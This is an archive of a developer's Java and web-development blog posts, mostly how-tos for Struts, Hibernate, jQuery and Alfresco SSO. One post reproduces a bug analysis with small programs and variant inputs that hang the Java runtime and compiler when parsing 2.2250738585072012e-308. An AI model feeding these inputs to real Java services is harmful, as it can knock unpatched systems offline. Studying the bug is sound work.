I don't see anything obvious preventing you from using it (no license/support keys?), it's just not recommended since it's experimental. If you're crazy enough to use it on a production server, you better have a support contract so Sun/Oracle can fix any problems that come along. That seems reasonable.
Although it'd be better if they just said "don't use it for production, period."

Java Hangs When Converting 2.2250738585072012e-308

2011-07-08T06:34:00.000-07:00

Java — both its runtime and compiler — go into an infinite loop when converting the decimal number 2.2250738585072012e-308 to double-precision binary floating-point. This number is supposed to convert to 0x1p-1022, which is DBL_MIN; instead, Java gets stuck, oscillating between 0x1p-1022 and 0x0.fffffffffffffp-1022, the largest subnormal double-precision floating-point number.

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class ujjwal{
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

Where’s the Problem?

For the runtime case at least, Konstantin has narrowed the problem down to the “correction loop” in FloatingDecimal.java. See his comments on my PHP bug analysis article.
Like PHP, Java gets stuck crossing the normalized/unnormalized border, ~~but in the opposite direction: it starts with an estimate just below DBL_MIN — 0x0.fffffffffffffp-1022 — and is trying to get up to DBL_MIN.~~ but with a twist: it starts with an estimate that is correct — DBL_MIN — and then adjusts it to 0x0.fffffffffffffp-1022. It then adjusts that back to DBL_MIN, and around it goes…

Bug Report

Konstantin reported this problem to Oracle three weeks ago, but is still waiting for a reply. (Update: as per Konstantin’s comment below, the bug has been assigned “internal review ID of 1949967, which is NOT visible on the Sun Developer Network (SDN)”.)

Update: Previous Bug Reports Describe the Same Problem

Readers found two bug reports that describe the same problem (although not in terms of the magic number 2.2250738585072012e-308): bug number 100119 from 2009, and bug number 4421494 from 2001. (But don’t bother clicking on that last one — the link is now dead, as of 2/3/11.)

Addendum

As pointed out in the comments below, equivalent forms of the number cause the problem as well; examples:

0.00022250738585072012e-304 (decimal point placement)
00000000002.2250738585072012e-308 (leading zeros)
2.225073858507201200000e-308 (trailing zeros)
2.2250738585072012e-00308 (leading zeros in the exponent)
2.2250738585072012997800001e-308 (superfluous digits beyond digit 17)

Fitting website on Apple IPad

2011-06-01T04:35:00.000-07:00

Hi,

Recently, we had to release an IPad version of one of our websites, an existing website needed to be converted to display on an IPad. I had a major issue when some one rendered the site from landscape to portrait and from portrait to landscape on an ipad, the site does not get auto fitted.

To overcome this issue, i had to set view port in meta tag on all my jsp pages.

I did something like this ::

<meta name="viewport" content="width=800" />

Now it renders site correctly on an ipad.. :)

Cheers,

Ujjwal Soni

Autofit textarea with dynamic text on load

2011-06-01T02:37:00.000-07:00

Hi,

I wanted to autofit textarea rows which contained dynamic text from database on page load. I tried many plugins and other javascript tweaks. Atlast, i found a jquery plugin for this.

I did this as under::

Step 1 :: Add autogrow text area js file

<script src="<%=request.getContextPath()%>/script/jquery.autogrowtextarea.js">
</script>

Step 2 :: Call Text Area Exploder Function on page load

    $(document).ready(function() {
        $(&quot;#textAreaDescription&quot;).TextAreaExpander(); 
    
    });

You can download the js file from below link ::

https://sites.google.com/site/ujjwalbsoni/Home/jquery.autogrowtextarea.js

If you have any further queries, please let me know..

Cheers,

Ujjwal Soni

The dynamic stylesheet language

2011-05-26T09:47:00.000-07:00

Hi,

Recently i was searching for compacting heavy css for my website in less css with dynamic css code, i came across lesscss.org, it's a fabulous website which provides dynamic integration of css.

"LESS extends CSS with dynamic behavior such as variables, mixins, operations and functions. LESS runs on both the client-side (IE 6+, Webkit, Firefox) and server-side, with Node.js."

http://lesscss.org/

Cheers,

Ujjwal Soni

Redirect all 404's to index page in php

2011-05-11T09:24:00.000-07:00

This given PHP example redirect to index page if there is 404 error in your site.


Create the file app/app_error.php with the following code.

Code Example:


class AppError extends ErrorHandler {
    function error404($params) {
        // redirect to homepage
        $this->controller->redirect('/');
    }
}

Oracle SSO configuration with Alfresco

2011-04-29T06:12:00.000-07:00

Hi,

I finally configured Oracle SSO with Alfresco. Below is how i achieved that.

I need to run Alfresco on tomcat deployed on other virtual terminal, i created a class file as under

-> STEP 1

package my.custom;

import java.io.IOException; 
import java.util.List;
import java.util.Locale;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.transaction.UserTransaction;

import org.alfresco.model.ContentModel;
import org.alfresco.repo.security.authentication.AuthenticationComponent;
import org.alfresco.repo.security.authentication.AuthenticationException;
import org.alfresco.service.ServiceRegistry;
import org.alfresco.service.cmr.repository.NodeRef;
import org.alfresco.service.cmr.repository.NodeService;
import org.alfresco.service.cmr.security.AuthenticationService;
import org.alfresco.service.cmr.security.PersonService;
import org.alfresco.service.transaction.TransactionService;
import org.alfresco.web.app.Application;
import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;
import org.alfresco.web.app.servlet.AuthenticationHelper;
import org.alfresco.web.bean.LoginBean;
import org.alfresco.web.bean.repository.User;
import org.alfresco.web.config.LanguagesConfigElement;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.extensions.config.ConfigService;
import org.springframework.extensions.surf.util.I18NUtil;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.alfresco.web.bean.repository.Repository;



public class OSSOAuthenticationFilter extends AbstractAuthenticationFilter implements Filter {
private static final String LOCALE = "locale";
public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";
private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);
private ServletContext context;
private String loginPage;
private AuthenticationComponent authComponent;
private AuthenticationService authService;
private TransactionService transactionService;
private PersonService personService;
private NodeService nodeService;
private List m_languages;

public OSSOAuthenticationFilter() {
super();
}

public void destroy() {
// Nothing to do
}

/**
* Run the filter
*
* @param sreq
* ServletRequest
* @param sresp
* ServletResponse
* @param chain
* FilterChain
* @exception IOException
* @exception ServletException
*/
public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {
// Get the HTTP request/response/session
HttpServletRequest req = (HttpServletRequest) sreq;
HttpServletResponse resp = (HttpServletResponse) sresp;
HttpSession httpSess = req.getSession(true);

String userName = null;
//Get headers setted by the oracle sigle sign one server
java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");

if (reqMap == null) {
logger.error("No user logged in");
} else {
while (reqMap.hasMoreElements()){
//Get from the full dn the username
userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();
//String tmp = value.split(",")[0].trim().toString();
//userName = tmp.split("=")[1].trim().toString();
}
}

if (logger.isDebugEnabled()) {
logger.debug("OSSO : User = " + userName);
}

// See if there is a user in the session and test if it matches
User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);

if (user != null) {
try {
// Debug
if (logger.isDebugEnabled())
logger.debug("OSSO : User " + user.getUserName() + " validate ticket");

if (user.getUserName().equals(userName)) {
UserTransaction tx1 = transactionService.getUserTransaction();
try {
tx1.begin();
authComponent.setCurrentUser(user.getUserName());
tx1.commit();
}catch(Exception ex){
logger.error("Failed due to transaction " + ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

}
I18NUtil.setLocale(Application.getLanguage(httpSess));
chain.doFilter(sreq, sresp);
return;
} else {
// No match
//setAuthenticatedUser(req, httpSess, userName);
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
return;
}
} catch (AuthenticationException ex) {
if (logger.isErrorEnabled())
logger.error("Failed to validate user " + user.getUserName(), ex);
}
}

setAuthenticatedUser(req, httpSess, userName);

// Redirect the login page as it is never seen as we always login by name
if (req.getRequestURI().endsWith(getLoginPage()) == true)
{
if (logger.isDebugEnabled())
logger.debug("Login page requested, chaining ...");

resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");
return;
}
else
{
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
//chain.doFilter(sreq, sresp);
return;
}

}

/**
* Set the authenticated user.
*
* It does not check that the user exists at the moment.
*
* @param req
* @param httpSess
* @param userName
*/
private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {
if (userName != null){
UserTransaction tx1 = transactionService.getUserTransaction();
// Set the authentication
try {
tx1.begin();
authComponent.setCurrentUser(userName);
tx1.commit();
} catch (Throwable ex) {
logger.error(ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}
}

// Set up the user information
UserTransaction tx = transactionService.getUserTransaction();
NodeRef homeSpaceRef = null;
User user;
try {
tx.begin();
user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));
homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);
if(homeSpaceRef == null) {
logger.warn("Home Folder is null for user '"+userName+"', using company_home.");
homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());
}
user.setHomeSpaceId(homeSpaceRef.getId());
tx.commit();
} catch (Throwable ex) {
logger.error(ex);

try {
tx.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

if (ex instanceof RuntimeException) {
throw (RuntimeException) ex;
} else {
throw new RuntimeException("Failed to set authenticated user", ex);
}
}

// Store the user
httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);
httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);

// Set the current locale from the Accept-Lanaguage header if available
Locale userLocale = parseAcceptLanguageHeader(req, m_languages);

if (userLocale != null) {
httpSess.setAttribute(LOCALE, userLocale);
httpSess.removeAttribute(MESSAGE_BUNDLE);
}

// Set the locale using the session
I18NUtil.setLocale(Application.getLanguage(httpSess));
}
}

public void init(FilterConfig config) throws ServletException {
this.context = config.getServletContext();
WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);
ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);
transactionService = serviceRegistry.getTransactionService();
nodeService = serviceRegistry.getNodeService();

authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");
authService = (AuthenticationService) ctx.getBean("authenticationService");
personService = (PersonService) ctx.getBean("personService");

// Get a list of the available locales
ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");
LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);

m_languages = configElement.getLanguages();
}

/**
* Return the login page address
*
* @return String
*/
private String getLoginPage() {
if (loginPage == null) {
loginPage = Application.getLoginPage(context);
}

return loginPage;
}
}

-> STEP 2 Place this class file under

C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom

-> STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file

$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/

ProxyPass /alfresco http://host:8080/alfresco/


ProxyPassReverse /alfresco/ http://host:8080/alfresco/

ProxyPassReverse /alfresco http://host:8080/alfresco/

-> STEP 4 Now you need to enable sso on oracle portal

edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :

require valid-user
AuthType Basic


require valid-user
AuthType Basic


Please restart apache after you have made this configuration

-> STEP 5 If alfresco is already running then stop and start alfresco service from start menu under start -> alfresco -> stop alfreco virtual server

Thats it, now oracle sso is configured successfully for Alfreco

Try opening http://oc4jserverhost/alfresco, it will redirect to oracle portal sso login page, enter credentials, it will then redirect you to alfresco home page on successful login.

LOGOUT Link

Coming towards logout functionality, i need to make some changes to use oracle portal logout instead of alfresco built in logout.

You need to edit file C:\Alfresco\tomcat\webapps\alfresco\jsp\parts\titlebar.jsp

search for

a:actionLink

now replace that line with

a:actionLink id="logout" image="/images/icons/logout.gif" value="#{msg.logout} (#{NavigationBean.currentUser.userName})" rendered="#{!NavigationBean.isGuest}" href="http://hostname/pls/orasso/orasso.wwsso_app_admin.ls_logout?p_done_url=http%3A%2F%2Fhostname%2Falfresco" immediate="true"

Thats it, now logout functionality is integrated with oracle sso.

Any issues implementing this, feel free to contact me..

Cheers,

Ujjwal Soni

A nice book on smaller, faster, better way to build software

2011-04-26T10:41:00.000-07:00

Last week, my friend sent me a link which contains great amount of information for building, testing and all other phases for software development.

Check out this link :: http://gettingreal.37signals.com/toc.php

Cheers,

Ujjwal Soni

Jquery Autocomplete with DataSource

2011-03-15T05:12:00.000-07:00

Hi All,

Recently i needed an autocomplete textbox in which i need to store an ID and display a list. So, i gone for Jquery autocomplete which i was very used to. I have used this before but it was just for single list where i was not storing any ID. I tried my hands on with JSON using Jquery autocomplete but it was not giving me results the way i wanted.

So, finally, i found a solution as mentioned below ::

1) A textbox for autocomplete

<input type="text" id="input" name="input"/>

2) An onload script

function loadData(){
$("#input").autocomplete('<%=request.getContextPath()%>/showMyCity.do' , {
        extraParams: { locationName : function() { 
        return document.getElementById('input').value; 
            }
         },
        minChars: 0,
        width: 185,
        matchContains: "word",
        autoFill: false,
        max:50,
        formatItem:function(row) {
            return row[0];
        },
        formatResult: function(row) {
            return row[0];
        }
    });
    
    
    $("#input").result(function(event, data, formatted) {
        if (data)
            document.getElementById("selectedLocation").value=data[1];
            
            
    });

}

3) Jsp page which results your search :

<c:forEach items="${LOCATION_LIST}" var="bean">

<c:out value="${bean.description}"/>|<c:out value="${bean.code}"/>
</c:forEach>

With a pipe character added in between, you can hide/show text on autocomplete.

This resoved my issue and i need not have to use JSON for that.

Cheers,

Ujjwal Soni

UBS

URL rewriting for multi country website like /countryname/cityname

2011-03-14T05:38:00.000-07:00

Hello Everyone,

Recently, i had to develop a website which needed a different URL mapping, it needed a url mapping like /France/Paris (ie: country/city).I looked out for many options, first of all i tried it with url rewriting servlet and implemented a filter with it, but it was not exactly the thing i wanted. So i looked out for other options and finally i found UrlRewriteFilter from tuckey.

I downloaded the jars from www.tuckey.org/urlrewrite and configured that in web.xml file.

I found its configuration too easy, you need to configure that in web.xml under filter tag.

<filter>
     <filter-name>UrlRewriteFilter</filter-name>
     <filter-class>org.tuckey.web.filters.urlrewrite.UrlRewriteFilter</filter-class>
  </filter>
 
  <filter-mapping>
    <filter-name>UrlRewriteFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

Secondly, there is a seperate xml file called urlrewrite.xml that is needed by this filter.

You need to configure url rewriting rules in there. You can also use expression language to define a rule for your URL type.

So, i did someting like this to achieve my goal.


 <rule>
     <from>^/([a-z\s-] )$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1</to>
    </rule>
   
    <rule>
     <from>^/([a-z\s-] )/$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1</to>
    </rule>
   
    <rule>
     <from>^/([a-z/\s/-] )/([a-z/\s/-] )$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1&amp;city=$2</to>
    </rule>
      
    <rule>
     <from>^/([a-z/\s/-] )/([a-z/\s/-] )/$</from>
         <to type="redirect">%{context-path}/redirectAction.do?country=$1&amp;city=$2</to>
    </rule>

The above configuration helped me to accept multi spaced url's like www.ujjwalbsoni.blogspot.com/United States Of America/New York

I created an action in struts that gets me the names of countries and cities accordingly and i finally got what i wanted.

Expression for redirect rule was really tedious since i was having multiple spaces in country/city names. But finally, i created and succeeded in making one and using that.

Cheers!!!

Ujjwal Soni

UBS

A great new java framework playframework

2011-03-03T09:03:00.000-08:00

Hi,

Today, my friend told me about a new emerging java framework, its known as Play Framework.

Its new and really awesome...Its not a game framework, but its like an MVC framework, a bit simpler one.

Check out this link http://www.playframework.org/documentation/1.1.1/5things

Cheers!!!

Ujjwal Soni

Generating xlsx excel 2007 files using jdk 1.4

2011-03-03T08:57:00.000-08:00

Hi,

i need to generate excel 2007 reports in java, well, i had many options to do this like Jexcel, apache poi, Aspose...but this list got smaller since i had to do this in jdk 1.4, since i had to do this in older jdk, i chose apache poi, but apache poi supports generating xlsx only on jdk 1.6, some blogs says that if we backport then poi can work on older jdk's, so i tried backporting it and converted jars in jdk 1.4, all was done and it worked for generating xls files, but when i changed it for xlsx using XHSSF class, it started throwing errors, i did lot of research but at the end, all was in vain. later on i read somewhere that apache poi backporting leads to serious memory issues on jdk 1.4, so i had gone for Jexcel, well jexcel needs a license and i gotaa use open source so i winded up this idea.

Finally, i had chosen Apache POI with Jdk 1.6 and its working great.

Cheers!!

Ujjwal

Backporting Struts 2 to JDK1.4 or JDK 1.3

2011-01-25T05:16:00.000-08:00

Struts 2 framework and its dependencies available currently are compiled using JDK 1.5 and if you want to use same framework on JDK1.4 then you will require to backport these jars. Struts 2 framework core jars and its plugin jars can be translated to JDK 1.4 or 1.3 using Retrotranslator utility.

Retrotranslator is a open source project which does this translation.

You can read more about this on http://retrotranslator.sourceforge.net/

Here are the steps to create the backport jars for JDK 1.4 or JDK 1.3

1. Download Struts 2 - Alternative Java 4 JARs: from http://struts.apache.org.
This also contains the retrotanslator jar files

2. Unzip the downloaded file, this should create backport folder containing core jars, and retrotranslation jar files.

3. Now copy all your Struts 2 Jars (including dependancies) to a folder say (Struts2-1.5)

4. Create another folder for converted jar files say (Struts2-1.4)

5. Run below command for each jar in the Struts2-1.5 folder

java -jar retrotranslator-transformer-.jar -advanced -srcjar Struts2-1.5/struts2--.jar -destjar ./Struts2-1.4/struts2--.jar

Note: Replace the & tokens with appropriate jar values.
Here are commands for struts 2.0.11.2 backporting

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core-2.0.11.2.jar -destjar Struts2-1.4/struts2-core-j4-2.0.11.2.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar Struts2-1.4/xwork-j4-2.0.5.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-codebehind.jar -destjar ./Struts2-1.4/struts2-codebehind.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core.jar -destjar ./Struts2-1.4/struts2-core-1.4.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-spring.jar -destjar ./Struts2-1.4/struts2-spring.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-pell.jar -destjar ./Struts2-1.4/struts2-pell.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-plexus.jar -destjar ./Struts2-1.4/struts2-plexus.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-struts1.jar -destjar ./Struts2-1.4/struts2-struts1.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-jsf.jar -destjar ./Struts2-1.4/struts2-jsf.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitegraph.jar -destjar ./Struts2-1.4/struts2-sitegraph.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitemesh.jar -destjar ./Struts2-1.4/struts2-sitemesh.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-tiles.jar -destjar ./Struts2-1.4/struts2-tiles.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-config-browser.jar -destjar ./Struts2-1.4/struts2-config-browser.jar

java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar ./Struts2-1.4/xwork-2.0.5.jar

6. This should create all your jars which are required for JDK 1.4.

7. Make sure you delete all JDK 1.5 compiled jars from your application lib and replace it with translated jars for JDK 1.4. Keeping both may create unknown issues.

Retrotranslator is not limited to backporting the Struts 2 framework. Its a utility which can be utilized for backporting any JDK 1.5 compiled code to JDK 1.4.

Cheers,

Ujjwal Soni

java.sql.SQLException: Data size bigger than max size for this type

2011-01-24T08:49:00.000-08:00

Hi All,

Last week i was facing an issue on inserting Blob data in Oracle 10g database. I tested my application on Jboss container and locally my application was running fine, the real problem i faced when i deployed it on Oc4J container.

I got this error ::: java.sql.SQLException: Data size bigger than max size for this type

I tried everything, even i upgraded my jdbc driver but the problem was still there.

Here is my problem code ::

CallableStatement cstmt =
dbConnection.prepareCall("{

call product_image(?,?,?)}");

cstmt.setInt(1, id);
cstmt.setBinaryStream(2,file.getInputStream(), (int) file.getFileSize());
cstmt.setString(3, companyCode);

cstmt.registerOutParameter(1, oracle.jdbc.driver.OracleTypes.INTEGER);

cstmt.execute();
int returnValue=cstmt.getInt(1);

I am using Jdk 1.4 and even my OC4J server is having jdk 1.4

I temporarily resolved the issue using simple update statements using prepared statement and inserted blob in my DB, but i wanted that via a procedure.

Later, i tried below code and it worked fine ::

String sql = "{call TEST_INSERT_USER_REG(?)}";
cstmt = conn.prepareCall(sql);
cstmt.setBytes(1, Your BLOB data in Bytes);
cstmt.close();

Cheers,

Ujjwal Soni

Clearing form data using jquery

2011-01-24T08:40:00.000-08:00

A question I often hear is, “How do I clear a form?”
Initially the answer seems very straightforward – a one-liner in jQuery:

$('form :input').val("");

But upon closer examination we find that this is a bad way to solve the problem. When someone says they want to “clear a form” what they really mean is that they want to clear the visible state from all the form fields. With this in mind, the code above is clearly not the right way to get the job done. First, it will blast away the values of hidden inputs, checkboxes and radio buttons. Not good. The values of those fields should not be altered. And second, it does not properly account for select elements. What we need is something smarter. Here’s a start:

$.fn.clearForm = function() {
  return this.each(function() {
    var type = this.type, tag = this.tagName.toLowerCase();
    if (tag == 'form')
      return $(':input',this).clearForm();
    if (type == 'text' || type == 'password' || tag == 'textarea')
      this.value = '';
    else if (type == 'checkbox' || type == 'radio')
      this.checked = false;
    else if (tag == 'select')
      this.selectedIndex = -1;
  });
};

Voila! Now we have a plugin for clearing form fields that can be called like this:

$(':input').clearForm()

or

$('form').clearForm()

Cheers,

Ujjwal Soni

Shell script for clearing the Trash in Ubuntu linux

2010-12-30T03:42:00.000-08:00

Hi,

I was facing a problem while clearing the Trash in Ubuntu Linux. I wasn’t able to delete certaion folder and i got the message stating “Access Denied”. So i was wondering that there should be some way to do it from the command prompt using sudo and some command. I did a google for the requirement and found the following shell snippet:

rm -rf ~/.local/share/Trash/

Regards,

Ujjwal Soni

Intresting tool for eclipse

2010-12-30T03:20:00.000-08:00

Hi,

Here's an intesting tool i found on web that can help eclipse users to autogenerate and spice up their java code. This sort of tool is already built into myeclipse, but if you use eclipse, then this tool can work out towards great help.

Here's the URL : http://projectlombok.org/index.html

Regards,

Ujjwal Soni

Happy Coding

Merry Christmas

2010-12-24T10:53:00.001-08:00

Hello Everyone,

Merry Christmas & Happy new year....

Cheers,

Ujjwal Soni

hibernate vs jdbc response time

2010-12-18T10:19:00.000-08:00

Hi,

Last week i received an email from one of my blog reader, he wanted to know response times for hibernate and jdbc. So below are my views on that ::

Hibernate is just a little slower than JDBC. Actually, We don't use Hibernate in very small applications or when "Persistence" is not at all an issue.

Requirement decides the use of Hibernate.

In modern multi tire applications we need such features.

JDBC is a traditional way of connecting... Hibernate is ORM based. It sees all the tables as an object so that we can optimally utilize and finetune the performance. Only thing u need to take care is the DB design. Once if the DB design is done (perfectly), i can say hibernate would be much better than JDBC.

Another advantage is that Hibernate can take an object itself as a parameter and gives room to use the Java Collections.

So, in short, if you have a small application then implementing hibernate is a bad idea.

Cheers,

Ujjwal Soni,

ForwardAction, IncludeAction and LocaleAction in struts

2010-12-18T10:13:00.000-08:00

The org.apache.struts.actions.ForwardAction Class
The ForwardAction class provides a mechanism for forwarding 
to a specified URL. As explained earlier, in an MVC Web 
application, all requests to the application are supposed 
to flow through the Controller servlet. This ensures that 
the Controller layer of the application has an opportunity 
to prepare any resources that may be needed to handle the 
request (i.e., selecting the correct module and so on). 
ForwardAction is provided as a simple utility action that 
can be used for scenarios in which you simply want to link 
to a JSP page. Of course, linking directly to the JSP would 
be a violation of the MVC principles because all requests 
are supposed to be routed through the Controller. 
ForwardAction can be used to create links to JSPs so that 
you don’t have to create an action whose only 
responsibility is to forward a request every time you want 
to link to a JSP. With ForwardAction, you simply create an 
action mapping in the Struts configuration file and specify 
the location to which the action will forward.

To use ForwardAction, simply create action mapping entries 
in the Struts configuration file, as shown next:


  


Once configured in the Struts configuration file, 
LocaleAction can be put to use. Simply create a link to the 
action and specify the locale settings that will be set and 
a page to forward to. Locale settings are specified with 
two request parameters: language and country. The page to 
forward to after setting the locale is specified with the 
page request parameter. The following URL illustrates how 
to use the request parameters:

http://localhost:8080/MiniHR/SwitchLocale.do?
country=MX&language=es&page=/Menu.do 

This example URL sets the country to MX and the language to 
es. The /Menu.do page will be forwarded to after the new 
locale has been set.

Cheers,

Happy Coding :-)

difference. between. update() and merge() in hibernate

2010-12-18T10:09:00.000-08:00

Hi,

Here's the difference. between. update() and merge() in hibernate

Update():- if you are sure that the session does not contains an already persistent instance with the same identifier then use update to save the data in hibernate

Merge():-if you want to save your modificatiions at any time with out knowing abot the state of an session then use merge() in hibernate.

Cheers,

Happy Coding :)

Change forgotten password of the root user at the Linux server

2010-11-18T05:02:00.000-08:00

Hi All,

Yesterday, i forgot root password for my hosting webserver. So I decided to crack it using the following steps. It’s documented and is written in the Linux manual

http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/step-guide/s1-q-and-a-root-passwd.html

And finally, i was able to login to my server.

Cheers!!!

Ujjwal B Soni

Blocking developers from using TOAD and other tools on production databases

2010-11-18T04:57:00.000-08:00

Today, I’ve seen a nice example at www.psoug.org on how to prevent users from using additional tools to connect to production database. This is the AFTER LOGON trigger create ON DATABASE as follows:

CONNECT / AS SYSDBA;
 
CREATE OR REPLACE TRIGGER block_tools_from_prod
  AFTER LOGON ON DATABASE
DECLARE
  v_prog sys.v_$session.program%TYPE;
BEGIN
  SELECT program INTO v_prog
    FROM sys.v_$session
  WHERE  audsid = USERENV('SESSIONID')
    AND  audsid != 0  -- Don't Check SYS Connections
    AND  ROWNUM = 1;  -- Parallel processes will have the same AUDSID's
 
  IF UPPER(v_prog) LIKE '%TOAD%' OR UPPER(v_prog) LIKE '%T.O.A.D%' OR -- Toad
     UPPER(v_prog) LIKE '%SQLNAV%' OR     -- SQL Navigator
     UPPER(v_prog) LIKE '%PLSQLDEV%' OR -- PLSQL Developer
     UPPER(v_prog) LIKE '%BUSOBJ%' OR   -- Business Objects
     UPPER(v_prog) LIKE '%EXCEL%'       -- MS-Excel plug-in
  THEN
     RAISE_APPLICATION_ERROR(-20000, 'Development tools are not allowed here.');
  END IF;
END;
/
SHOW ERRORS

http://www.psoug.org/snippet/Block_TOAD_and_other_tools_516.htm

Cheers!!!

Ujjwal B Soni

Get Started Developing for Android with Eclipse

2010-11-16T04:01:00.000-08:00

Hi,

Nice step by step explanation on developing Android based mobile applications using eclipse ::

http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/

Cheers!!!

Ujjwal Soni

Block characters in excel sheet using jxl api java

2010-10-28T05:43:00.000-07:00

Hi,

Today one of my project which was getting used in Serbia started giving a problem, users started complaining that they are getting square block characters between text. Now, this problem was due to different character-set which was handled upto a certain extent when i initially developed this project. I tried all sorts of things to handle this issue and finally i came up with a solution below :

if(myText!=null)
{
label = new Label(0, a, "Header", cellFormat1);
sheet5.addCell(label);

a=a+1;


if(myText.substring(myText.length()-1, myText.length()).equals("\n"))
{

label = new Label(0, 1, myText.replace('\r',' ').replaceAll("[^\\p{ASCII}]",""), myCellFormat);
sheet5.addCell(label);

}//end of sub-if
//end of main-if

//end of code

************here's the explanation for the code*********

1) [^\\p{ASCII}]

This says "replace all occurences of one or more non-ASCII characters with nothing." So the new string will be the old string minus all non-ASCII characters. You just check the new String's length.

Or you could just iterate over the string, checking if each char is between 0x00 and 0x7F.

2) '\r'
This was for removing carriage returns which were getting displayed in my excel sheet as block characters

Finally, at the end of my day, this issue got resolved and for multiple countries this issue got resolved.

Regards,

Ujjwal Soni

View SQL generated in IBATIS

2010-10-26T03:08:00.000-07:00

To View the SQL Being executed in Ibatis.
Use com.ibatis.sqlmap.engine.mapping.SimpleDynamicSql.java's getSql() method in Ibatis.jar. This method gives you the sql being executed by the ibatis data mapper after all the dynamic elements have been replaced.

Sphere: Related Content

You can also breakpoint in your favourite IDE of your choice. I usually did this for the SimpleDynamicSql class of Ibatis.

Ibatis Vs Hibernate

2010-10-25T22:36:00.000-07:00

I have using Hibernate and Ibatis for a year now, and I find myself switching twice from Hibernate to iBatis, not because one is better than the other, it's because of what preperations each framework needs.

In hibernate you need to have a proper plan to design your database, the database is controled by the hibernate roles and you spend time try to fullfill these rules, and if you go the other way (database->OO) it's harder.

With Ibatis I find myself getting the Job done faster, I create any POJO any set of tables, and I link them, much flixability in that field, but little extra work, building Queries and managing Maps (but hay, you spend time with hibernate maps too).

Both are good in a way with iBatis you finish the Job faster, which I like, but you won't have the big tools that hibernate provide, nor iBatis will provide the facility to generate the sql for you.

With Hibernate3 it maybe a different story, since allot of what can stop you in H2 and make you think of iBatis is there in H3, still iBatis is growing up.

ibatis:
-Simpler
-faster development time
-flixable
-Much smaller in package size

hibernate:
-generate SQL for you which means you don't spend time on SQL
-provide much more advance cache
-scalable

